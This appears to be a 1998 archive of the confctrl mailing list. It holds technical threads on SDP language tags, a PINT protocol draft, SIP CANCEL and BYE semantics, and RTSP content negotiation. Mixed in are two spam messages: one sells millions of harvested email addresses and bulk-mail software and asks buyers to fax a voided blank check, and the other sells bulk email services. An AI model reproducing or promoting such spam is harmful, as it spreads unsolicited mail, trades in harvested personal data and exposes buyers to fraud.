This is not quite what I need, but it's close. I need to be able to say
"please fail the request if you can't give me the film in Swahili."

That is, I want to specify

a=lang:FR

but add something so that if the language FR is not available then the
request
will fail. (sorry if "FR" is not the right tag to indicate French. You know
what I mean).

BTW, I would not want to hold up anything for this, it is not that
essential. It can
easily wait until a future version. But if we can agree now that would be
nice for
PINT.

Scott





From confctrl-owner  Fri Jul  3 19:43:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA17512
	for confctrl-outgoing; Fri, 3 Jul 1998 19:43:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA17507
	for <confctrl@zephyr.isi.edu>; Fri, 3 Jul 1998 19:43:42 -0700 (PDT)
Received: from www.telecommex.com ([207.48.68.252])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA02182
	for <confctrl@isi.edu>; Fri, 3 Jul 1998 19:43:40 -0700 (PDT)
From: maurice@netsrv.tobunken.go.jp
Received: from tara by www.telecommex.com via SMTP (951211.SGI.8.6.12.PATCH1502/940406.SGI)
	 id BAA02712; Fri, 3 Jul 1998 01:48:48 -0500
Date: Fri, 3 Jul 1998 01:48:48 -0500
Message-Id: <199807030648.BAA02712@www.telecommex.com>
To: gloria234@aol.com
Subject: Are you an Internet Marketer?
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Internet Marketer,

Are you tired of endlessly posting your ad to online classified sites that
just don't get the job done? The fact is there are over 300 such sites
scattered about the Web and frankly none of them generate enough traffic
to be worth your while. Even when someone does visit one of these sites,
your ad is hopelessly lost in a myriad of similar offerings.

The true professionals of online marketing have known for some time that
nothing creates results the way a direct bulk email campaign does. We have
assembled a complete package on one CD-ROM that will enable to get your
message out to millions for surprisingly little cost and effort.

INTRODUCING...MILLIONS VOL. 1

We took a total of over 92 million email addresses from many of the 
touted CD's that are out there (bought them all - some were $300+)!  We
added the millions we had in storage to those.   When we combined them
all, we had in  excess of 100+ million addresses in one huge file. 

We then ran a super "sort/de-dupe" program against this huge list. 
It cut the file down to less than 25 million!!! Can you believe that? It
seems that most people that are selling CD's are duping the public by
putting numerous files of addresses in the CD over and over. This created
many duplicate addresses. They also had many program
 "generated" email addresses like Compuserve, MCI, ANON's, etc. 
This causes a tremendous amount of undeliverables, and for  those 
that use Stealth programs, clogs up servers quickly with trash, etc. 

We then ran a program that contained 150+ keywords to remove 
addresses with vulgarity,  profanity, sex-related names, postmaster,
 webmaster, flamer, abuse, spam, etc., etc.   Also eliminated all .edu,
.mil, .org, .gov, etc.   After that list was run against the remaining
list, it  reduced it down to near 16 million addresses! 

So, you see, our list will save people hundreds of dollars buying all
others that are out there on  CD and otherwise. Using ours will be like
using the 100+ million that we started with, but a lot less money and a
lot less time!!  

Besides the 16 Million general email address we include over 400,000
TARGETED addresses of Business Opportunity Seekers, MLM'ers and
other Internet Marketers. These are people EAGER to hear about your
products and services. 
Other services charge upwards of 5 cents per address for this type of
list. We include it at no extra extra charge when you purchase Millions
Vol. 1

We also included a 5+ million "Remove/Flamer" file broken into seperate
files for ease of  extracting and adding to your own database of removes. 

To help you manage your email lists, you'll find a fully functional
evaluation copy of BulkMate 4.05 on your CD. BulkMate is an indispensible
tool for the serious bulk mailer. Among its 10 utilites are the ability to
filter any address list against a remove list, sort any list
alphabetically and automatically remove dupes, remove specific domains
from any list and count the number of addresses in each list.


 "You can buy from the REST or you can buy from the BEST.   Your choice.
_____________________________

What our clients are saying:

"I received the CD on Friday evening.   Like a kid with a new toy, I
immediately started bulking out using the new email addresses.  Over the
course of the weekend, I emailed out over 500,000 emails and I received
less than TWENTY undeliverables!!  I am totally satisfied with my
purchase!!  Thanks Syrynx!!"

Dave Buckley
Houston,  TX


"This list is worth it's weight in gold!!  I sent out 10,000 emails for my
product and received 185 orders!  

Ann Colby
New Orleans, LA


"I am absolutely delighted! Your support is first rate. When I needed help
you were there for me. I got a real person on the phone. I've been
marketing my product now for two weeks and can't believe how many orders
I've received. I can't thank you enough!

Gail Swanton
Boston, MA


****************************************

                  HERE'S THE BOTTOM LINE

Here is what you get when you order today!

>> 16 Million Email Addresses... 1 per line in simple text format on a CD.
Files are in lots of 100,000 (no codes needed to open files). 
All files are separated by domain name for your convenience.

PLUS you receive a tremendous REMOVE list!

AND

Over 400,000 Targeted email addresses.

AND

The sampling of CyberPromo's HOT list.

AND

BulkMate 4.05 The ultimate mail management tool.

>>> NOW ONLY $149.00!   

All lists are completely free of any Duplicates. We also on a continual
basis, add New Names and Remove Undeliverables and Remove Requests.   

The result is the Cleanest Email Addresses Available Anywhere 
to use over and over again, for a FRACTION of the cost that other 
companies charge. Typical rates for acquiring email lists are from 
1 cent to as high as 3 cents per email address - that's
"INFORMATION HIGHWAY" ROBBERY!.

Don't even hesitate on this one or you will miss out on the most 
effective way to market anywhere..PERIOD!

>>>As a special bonus we've included the entire suite of Earthonline
>>>bulk email and marketing software demos on the CD. Including
>>>the just released DirectMail 2.3 mailer. Use it free for 10 days !!
>>>You'll also get our  private Website address where you can check
>>> for product upgrades and other valuable marketing information.


To order our email package, simply print out the EZ ORDER FORM 
below and fax or mail it to our office today.

We accept Checks by Fax and Mail and C.O.D.

_________________
EZ Order Form 


_____Yes! I would like to order MILLIONS Vol. 1 email addresses 
for only $149.00.

All orders are sent by US Priority Mail and we pay the shipping costs!

ORDERING OPTIONS

*Mail (USPS)
   *Include a check or money order for the correct amount.
   *Make the check payable to:  Syrynx, Inc.
   *Include your phone number and/or email address in case we need to
   contact you. *Mail to:

       Syrynx, Inc.
       500 Lake Avenue
       Suite 154 
       Lake Worth, Florida  33460

*C.O.D.
   *Fill out the order form completely and write/type COD on the form.
   *Mail the form to the above address or fax to 305-418-7590 *Please have
   a certified/cashiers check or money order in the amount
    of $165.00 payable to Syrynx, Inc ready when the order arrives.
    The additonal $16.00 covers overnight shipping and C.O.D. fees.

*Fax
   *This is the preferred payment method at Syrynx, Inc.
   *ALL FUNDS ARE TO BE IN USA CURRENCY.
   *Your order can be received 24 hours a day, 7 days a week.
   *Print out and complete the following form.
   *To this form, attach a BLANK CHECK with "VOID" written
    somewhere on the body of the check.
   *This gives us the necessary account information to process your order.
   *Please note that Syrynx, Inc. charges a $40.00 fee for ALL BAD CHECKS.
   



Thank you for your order.

Syrynx, Inc.


          **********  MILLIONS VOL.1 ORDER FORM **********

*You must complete the entire form or your order can not be processed.
*You will need to tape the blank check in the space indicated below. *Fill
out and sign the authorization section below.

*Fax the ENTIRE FORM to (305) 418-7590.


*Please, print the following information.


First Name: _______________________________________________________

Last Name: _______________________________________________________

Street Address: ___________________________________________________

_________________________________________________________________

City: ____________________________________________________________

State: _____________________            Zip: _________________________

Phone Number:  __________________________________________________

EMail Address: ___________________________________________________



           * * * * * * * * * *  Authorization  * * * * * * * * * *
                        (leave blank for C.O.D. orders) 

I, ________________________________________________, hereby authorize
Syrynx, Inc. to withdraw $________________________ from my checking
account, account information enclosed, one time only, for the purchase of
the Millions Vol. 1 CD-ROM. I have read and I understand the terms and
conditions as stated above.  The signature below is the authorized
signature of the holder of the checking account.  I understand that
Syrynx, Inc. charges $40.00 for bad checks.  I understand that if the
funds are not available in my account, I agree to pay the amount of this
order plus the $40.00 fee. (Cash or Certified Funds Only).  Authorized
Signature _______________________________________________

Date: __________________ 

order code:mvi

*Attach voided, blank check below. (do not attach check for C.O.D. orders)












From confctrl-owner  Sat Jul  4 23:43:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29136
	for confctrl-outgoing; Sat, 4 Jul 1998 23:43:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29130
	for <confctrl@zephyr.isi.edu>; Sat, 4 Jul 1998 23:43:36 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15364
	for <confctrl@ISI.EDU>; Sat, 4 Jul 1998 23:43:33 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id JAA20100; Sun, 5 Jul 1998 09:43:24 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256638.002A9331 ; Sun, 5 Jul 1998 09:45:01 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: pint@lists.research.bell-labs.com
cc: confctrl@ISI.EDU
Message-ID: <42256638.0007720A.00@il4.vocaltec.co.il>
Date: Sun, 5 Jul 1998 03:28:25 +0200
Subject: PINT almost I-D available
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/05/98 03:28 AM

Friends:

Here is a pointer to my first stab at the PINT protocol profile I-D. It
will be polished up over the next week. But it is high time that I deliver
on my promise to deliver a protocol. Some time next week I will submit it
as an I-D. I'd like people to look it over so that I can get any bad kinks
out before submitting it as draft-ietf-pint-profile-00.txt.

Due to firewall problems, you'll have to retrieve it as follows for the
time being:

http://www.vocaltec.com/~petrack/PINT/NOTYET-draft-ietf-pint-profile-00.txt

I'll try to get it to an ftp server soon. Below I include the abstract and
TOC.
Please confine discussion to the pint list unless there is a SIP/SDP issue
to be discussed. After this initial
announcement I don't intend to post to confctrl again.

Abstract

This document contains the specification of the PINT Profile 1.0, which
defines a protocol for invoking certain telephone services from an IP
network. These services include placing basic calls, sending and
receiving faxes, and receiving content over the telephone. The protocol
is specified as a set of enhancements and additions to the SIP 2.0  and
SDP 2.0 protocols.

This document is intended for the PSTN-Internet Interworking (PINT)
working group of the Internet Engineering Task Force. Comments
are solicited and should be addressed to the working group's mailing
list at pint@lists.research.bell-labs.com and/or the authors.


Contents

1. Introduction and Glossary
2. PINT Milestone Services
3. PINT Functional and Protocol Architecture
4. PINT Protocol Profiles
     SIP
     SDP
5. Security Considerations
6. Examples of PINT usage and implementation (informative)
     Milestone Services
     Interconnection to IN
7. Open Issues

Enjoy, ScottP




From confctrl-owner  Sat Jul  4 23:45:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29149
	for confctrl-outgoing; Sat, 4 Jul 1998 23:45:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29144
	for <confctrl@zephyr.isi.edu>; Sat, 4 Jul 1998 23:45:56 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15486;
	Sat, 4 Jul 1998 23:45:48 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id JAA20185; Sun, 5 Jul 1998 09:46:11 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256638.002A91C8 ; Sun, 5 Jul 1998 09:44:58 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Message-ID: <42256637.0069F589.00@il4.vocaltec.co.il>
Date: Sat, 4 Jul 1998 22:48:50 +0200
Subject: Re: CANCEL -- do I finally understand??
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/04/98 10:48 PM

Is the following correct:

A caller which sends a CANCEL really must also send a BYE afterwards if the
intent is to terminate the call. There may be UAS which responded 200 OK
out there which the client does not yet know about. So sending a CANCEL may
be a useful optimisation, but the user client will have to send a BYE as
well if the intent is that "never mind, I didn't really want there to be a
call at all."

Here is some text for the spec:

"The CANCEL method is available so that clients tell SIP proxies to cut
short searches for new user agent servers. If a caller wishes to terminate
a call in addition to cancelling searches for user agent servers, the
caller's client MUST send a BYE in addition to the CANCEL.

A User Agent Server which has responded to the CANCELed request with a
definitive response MUST return a 200 OK to a CANCEL, but otherwise MUST
NOT change call state.
A user agent which has not responded to the CANCELed request with a
definitive response SHOULD stop processing the original request and return
call state to before the receipt of the original request if possible."

----------------

About CANCEL-ing other methods, I would love to be able to cancel BYEs --
how many times have I started to hang up a call, and the immediately
regretted it, and in vain tried to quickly "cancel" by picking up the
phone. Of course, CANCELing the BYE can not be guaranteed to work, but if
it did it would be nice.

Mark's rules seem to say that if a User Agent Server gets a CANCEL to an
INVITE before it has done any processing and before it has issued any
response, it is reasonable for the UAS to just pretend that the INVITE
never arrived. So I think that the same should be true for a BYE or any
other method: if a UAS gets a CANCEL to a BYE before it has done any
processing and before it has issued any response, the UAS should just
pretend that the BYE never arrived. The client can't be guaranteed that it
will work, but it's a nice feature.

Finally, do we need to outlaw CANCEL-ing CANCELs??

----------------

BTW, in my example:

(Scott wrote:)
>>If this is the rule, then what happens if things happen in the following
>>order:
>>
>>1. Client sends INVITE to server.
>>2. Server responsds to INVITE with 200 OK.
>>3. The 200 OK response to the INVITE gets lost.
>>4. Client sends CANCEL right after sending INVITE.
>>5. Server responds to CANCEL with 200 OK.
>>
>>The client now thinks that the call was CANCELed, and the server
>>now thinks that the call is in session. Both sides are perfectly
satisfied,
>>but disagree rather violently on the state of the call. Is this a
problem?
>

(Mark answered:)
>I don't believe it's a problem.  This can only happen when the
>responder sending 200 to the INVITE is not the first responder to send
>a definitive response.  If no-one else had sent a definitive response
>(2xx or 6xx) then the client wouldn't send a CANCEL.  If it wanted to
>hang up it would have sent a BYE instead.

To clarify my example, the client sent an INVITE and then immediately
decided "never mind" (i.e. CANCEL). The client received no responses
between them.  It sent an INVITE, then sent a CANCEL, and then received an
OK to the CANCEL. The user agent server, on the other hand, received an
INVITE, responded 200 OK to it. Then the user agent server got a CANCEL, to
which it also responded ok.

According to Mark's rules, since the UAS sent a 200 OK to the INVITE, the
CANCEL has no effect. When the UAS receives no ACK for the 200 OK it sent
to the client for the INVITE, the UAS will retransmit the 200 OK for the
INVITE, and at this point the client will have to send a BYE.

So all that I was missing before was that in addition to sending a CANCEL
the user must also send a BYE.


(Mark also wrote:)
>- CANCEL cancels a call that is currently being set up.  It has no
>effect whatsoever on a UAS that has already send a 200 response to the
>INVITE (except to generate a 200 response to the CANCEL).

(Jonathan answered:)
>CANCEL is *not* used to change call state at both ends.
>....
>As Mark points out, it is an optimization.

This is the sort of thing that confused me. If CANCEL "cancels a call that
is currently being set up", then surely it might change the call state at
both ends. (It will certainly do so for example if the client sends INVITE
and then CANCEL to the UAS before the UAS ever responds).




From confctrl-owner  Sun Jul  5 01:06:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA29923
	for confctrl-outgoing; Sun, 5 Jul 1998 01:06:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA29918
	for <confctrl@zephyr.isi.edu>; Sun, 5 Jul 1998 01:06:46 -0700 (PDT)
Received: from mailhub.fokus.gmd.de ([193.174.154.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA20633;
	Sun, 5 Jul 1998 01:06:43 -0700 (PDT)
Received: from cs.columbia.edu (donald [193.175.132.118])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id KAA20901;
	Sun, 5 Jul 1998 10:05:19 +0200 (MET DST)
Message-ID: <359F33BC.179EAFF2@cs.columbia.edu>
Date: Sun, 05 Jul 1998 10:05:16 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: GMD-FOKUS, Hardenbergplatz 2, 10623 Berlin, Germany
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Subject: Re: CANCEL -- do I finally understand??
References: <42256637.0069F589.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 07/04/98 10:48 PM
> 
> Is the following correct:
> 
> A caller which sends a CANCEL really must also send a BYE afterwards if the
> intent is to terminate the call. There may be UAS which responded 200 OK
> out there which the client does not yet know about. So sending a CANCEL may
> be a useful optimisation, but the user client will have to send a BYE as
> well if the intent is that "never mind, I didn't really want there to be a
> call at all."
> 

Close, but not quite. If all you want is terminate the call, you don't
need a CANCEL at all - just send a BYE to begin with. CANCEL allows you
to CANCEL any *incomplete* calls, typically after you've gotten all the
answers you want.


> 
> About CANCEL-ing other methods, I would love to be able to cancel BYEs --
> how many times have I started to hang up a call, and the immediately
> regretted it, and in vain tried to quickly "cancel" by picking up the
> phone. Of course, CANCELing the BYE can not be guaranteed to work, but if
> it did it would be nice.

This agrees with my earlier note on this topic.

> 
> Mark's rules seem to say that if a User Agent Server gets a CANCEL to an
> INVITE before it has done any processing and before it has issued any
> response, it is reasonable for the UAS to just pretend that the INVITE
> never arrived. So I think that the same should be true for a BYE or any
> other method: if a UAS gets a CANCEL to a BYE before it has done any
> processing and before it has issued any response, the UAS should just
> pretend that the BYE never arrived. The client can't be guaranteed that it
> will work, but it's a nice feature.
> 
> Finally, do we need to outlaw CANCEL-ing CANCELs??

You can't really CANCEL a CANCEL anyway, since CANCELs don't have their
own CSeq.

Henning

From confctrl-owner  Sun Jul  5 03:07:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA00812
	for confctrl-outgoing; Sun, 5 Jul 1998 03:07:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA00807
	for <confctrl@zephyr.isi.edu>; Sun, 5 Jul 1998 03:07:36 -0700 (PDT)
Received: from imo20.mx.aol.com (imo20.mx.aol.com [198.81.17.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25444
	for <confctrl@isi.edu>; Sun, 5 Jul 1998 03:07:35 -0700 (PDT)
From: Phoschka@aol.com
Received: from Phoschka@aol.com
	by imo20.mx.aol.com (IMOv14_b1.1) id 9ISFa19316
	for <confctrl@isi.edu>; Sun, 5 Jul 1998 06:06:45 -0400 (EDT)
Message-ID: <a7e1a345.359f5037@aol.com>
Date: Sun, 5 Jul 1998 06:06:45 EDT
To: confctrl@ISI.EDU
Mime-Version: 1.0
Subject: does RTSP support http-like content negotiation ?
Content-type: text/plain; charset=ISO-8859-1
X-Mailer: AOL 3.0 for Mac sub 61
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id DAA00808
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

i don´t have the document handy, so: does RTSP support http-like content
 negotiation ? i.e. can you you use URLs like the following:

rtsp://www.mumble.org/audio

and store at the server
audio.rm (RealNetworks streaming format)
audio.pcm (standard MIME audio format)

and the server figures out which file to send, depending on the capabilities
communicated by the client ?

The same goes for language, i.e. an english and a french version of the same
 audio file could be stored, and depending on client preferences, either one
 could be sent.

Is this doable in RTSP ?


From confctrl-owner  Sun Jul  5 14:44:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA05752
	for confctrl-outgoing; Sun, 5 Jul 1998 14:44:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA05747
	for <confctrl@zephyr.isi.edu>; Sun, 5 Jul 1998 14:44:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA13436;
	Sun, 5 Jul 1998 14:44:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Sun Jul  5 17:43:13 EDT 1998
Received: from dnrc.bell-labs.com ([135.17.200.55])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA19793;
	Sun, 5 Jul 1998 17:43:11 -0400 (EDT)
Message-ID: <359FF2D0.3022207B@dnrc.bell-labs.com>
Date: Sun, 05 Jul 1998 17:40:32 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.03 [en] (Win95; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, confctrl@ISI.EDU
Subject: Re: CANCEL -- do I finally understand??
References: <42256637.0069F589.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:

> (Mark also wrote:)
> >- CANCEL cancels a call that is currently being set up.  It has no
> >effect whatsoever on a UAS that has already send a 200 response to the
> >INVITE (except to generate a 200 response to the CANCEL).
> 
> (Jonathan answered:)
> >CANCEL is *not* used to change call state at both ends.
> >....
> >As Mark points out, it is an optimization.
> 
> This is the sort of thing that confused me. If CANCEL "cancels a call that
> is currently being set up", then surely it might change the call state at
> both ends. (It will certainly do so for example if the client sends INVITE
> and then CANCEL to the UAS before the UAS ever responds).

Sorry to confuse you; my point was that a CANCEL message doesn't affect
the UAS's view of the call state once it has responded.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jul  6 10:18:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA18029
	for confctrl-outgoing; Mon, 6 Jul 1998 10:18:11 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA18024
	for <confctrl@zephyr.isi.edu>; Mon, 6 Jul 1998 10:18:10 -0700 (PDT)
Received: from 207.181.100.101 (stn-on1-37.netcom.ca [207.181.100.101])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id KAA21424;
	Mon, 6 Jul 1998 10:17:55 -0700 (PDT)
Date: Mon, 6 Jul 1998 10:17:55 -0700 (PDT)
Message-Id: <199807061717.KAA21424@venera.isi.edu>
From: kimb@epage.com
To: @ISI.EDU
Subject:  Online Marketing
X-Reply-To:  xroma@netcom.ca
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ONLINE MARKETING - THE NEXT GENERATION OF ADVERTISING/MARKETING

Complete Online Marketing Solutions:

At Estroco Technologies, we provide all the tools necessary to promote your business/organization. 
Whether your goal is: to have people come to your website, or to prospect for orders of products, we can 
help. Note all prices are in US$ funds. We provide the following solutions:

1. Bulk Email Services

Let us send out your ad for you. It can be of any length, but must not be illegal in nature, or be of a 
pornographic nature. The list below, is a general pricing. We can customize how many you want sent out. 

100,000 - 200
200,000 - 345
400,000 - 875
600,000 - 1,100
800,000 - 1,300
1,000,000 - 1,400
2,000,000 - 2,200

2. WebSite Search Engine Promotion

One key factor for getting people to go to your website, is to have your site on search engines. The more 
search engines you are listed on, the more hits from your attended audience you'll receive. When including 
this option, we need the following criteria:

- website to be submitted
- keywords to be used(max. 25)
- Title of Web Site
- 30 word description

Also, we allow multiple submissions, which will allow maximum exposure. As well, ever so often, sites will 
bump your listing down so it is a good idea to have the same site, submitted at least once a month, to 
guarantee to maintain your listing at the top.

Our prices:

100 engines & directories - 15.00
200 engines & directories - 25.00
500 engines & directories - 45.00

3. Email Lists

Ok. So you want to do your own bulk emailings. Well, we have our own bulk emailing lists, which are 
cleaned of remove requests, flames, etc. Also, we have much more on stock.

500,000 - 220.00
1,000,000 - 350.00

4. Targeted Mailings & Targeted Email Lists

We also have targeted email addresses, and also can retrieve targeted email addresses. Minimum order of 
5,000, due to the large work involved. Prices are per 5,000 @ 100.00. For Targeted Mailings prices are per 
5,000 as well. Per 5,000 @ $200.00.

5. Web Page Design

Let us create your web page, with state of the art design & graphics. To get started on this, you will need 
to send us a proposal, either by email, fax, or snail mail. If possible please send us a competitive price so 
we can work out and negotiate the web site to be designed.

6. Customized Graphics

We can customize any graphics you desire. For example do you need customized pictures, a company 
logo, a banner, or any type of graphical illustration. We can do all. Contact us on what you need, and we 
will reply with a price quote.

7. Bulk Email Software

We are distributors for one of the best bulk email packages out there. Express Mail Server transforms your 
computer into a powerful mail server. Let us show you the benefits of this amazing software. As well, you 
can receive a free 3-day fully-functional demo, which will give you time to actually try out the program 
package. the program retails regularly for: $299, but if you mention this ad, we will give it to you for $225.

8. Web Page Maintenance

We also can maintain your web page, and make changes as you require them. The prices can be 
negotiated on this. For further info. please email us, or phone us.

9. Credit Card Merchant Account

We have arrangements with a major credit card processor, which will allow you to obtain a pre-approved 
merchant account. You can then accept credit cards on your web-site, or be able to receive orders, form 
email messages sent out, etc. They also have various other services that they provide. Email us for more 
information.

Do you have a deal to make with us?? Send us some info. on your proposal and we will look at it. If we 
want to go from there, we will negotiate fairly.

We are always coming out with new services and products. Do you have any new ideas that we can add 
to our extensive list of products/services. Drop us a line, and we will certainly look over it. If there's 
something that's not here, we probably came out with it, or will come out with it. Just contact us and we 
will see what we can do.

How to order or Contact us:

As stated above, prices are in US. Funds. We accept as payment, check, money order, or bank transfer.
For check's and money orders please send to our postal address. For bank transfer's please email, or 
phone us, for further instructions.

To place an order, send a proposal, or to discuss anything with us:

Postal Address:

Estroco Technologies
32983 Wills Road
Wainfleet, Ontario, Canada
L0S 1V0

Email: xroma@netcom.ca
Phone/Fax: (905) 899-3508

Thanks for your attention and time


Note: if you don't wish to receive further mailings, please respond to our email address stating this, and you 
will not receive any mailings from us or will not be place on any email lists, etc. You will just be transferred 
to our permanent remove list, which will guarantee you receive no mailings form us, or any mailings form 
lists sold by us.



From confctrl-owner  Mon Jul  6 11:25:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA20065
	for confctrl-outgoing; Mon, 6 Jul 1998 11:25:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20058
	for <confctrl@zephyr.isi.edu>; Mon, 6 Jul 1998 11:25:44 -0700 (PDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15631
	for <confctrl@isi.edu>; Mon, 6 Jul 1998 11:25:43 -0700 (PDT)
Received: from mailgate.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id LAA30940
	for <confctrl@isi.edu>; Mon, 6 Jul 1998 11:12:31 -0700
Received: from scv4.apple.com (scv4.apple.com [17.128.100.142]) by mailgate.apple.com
 (mailgate.apple.com2.0.15) with ESMTP id <B0001040009@mailgate.apple.com>;
 Mon, 06 Jul 1998 11:12:29 -0700
Received: from [17.255.20.120] (alperi1.apple.com [17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id LAA12402;
	Mon, 6 Jul 1998 11:12:26 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020914b1c6c3eb9c78@[17.255.20.120]>
In-Reply-To: <a7e1a345.359f5037@aol.com>
MIME-Version: 1.0
Date: Mon, 6 Jul 1998 11:12:25 -0700
To: Phoschka@aol.com, confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: does RTSP support http-like content negotiation ?
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA20059
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



RTSP does content format negotiation for the
description format, i.e. in response to a DESCRIBE
you can get SDP, SMIL, etc.

One of the ways to currently do what you want is
to make the SDP description contain multiple
streams and make the client do a SETUP on
only one of them.


At 6:06 AM -0400 7/5/98, Phoschka@aol.com wrote:
>i don´t have the document handy, so: does RTSP support http-like content
> negotiation ? i.e. can you you use URLs like the following:
>
>rtsp://www.mumble.org/audio
>
>and store at the server
>audio.rm (RealNetworks streaming format)
>audio.pcm (standard MIME audio format)
>
>and the server figures out which file to send, depending on the capabilities
>communicated by the client ?
>
>The same goes for language, i.e. an english and a french version of the same
> audio file could be stored, and depending on client preferences, either one
> could be sent.
>
>Is this doable in RTSP ?




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



